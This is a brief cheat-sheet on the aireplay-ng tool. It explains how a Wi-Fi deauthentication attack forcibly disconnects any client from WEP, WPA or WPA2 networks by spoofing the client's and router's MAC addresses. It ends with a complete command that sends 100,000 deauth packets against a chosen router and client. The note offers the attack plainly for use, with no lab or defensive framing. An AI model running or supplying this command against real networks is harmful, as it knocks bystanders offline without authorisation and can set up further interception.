aireplay-ng

• Disconnect any client from any network (Deauthentication attack)
• Works on encrypted networks WEP, WPA & WPA2
• No need to connect to the network
• What is done is:
• You impersionate the MAC of the client with a "disconnect" signal and send to the router
• You impersionate the MAC of the router with a "ok, disconnected" signal and send to the client

aireplay-ng "wlp3s0mon" \
  --deauth "100000" \ # number of packets to send (to the router and the client)
  -D \ # for 5GHz networks only (disable AP detection)
  -a "router-mac" \
  -c "client-mac"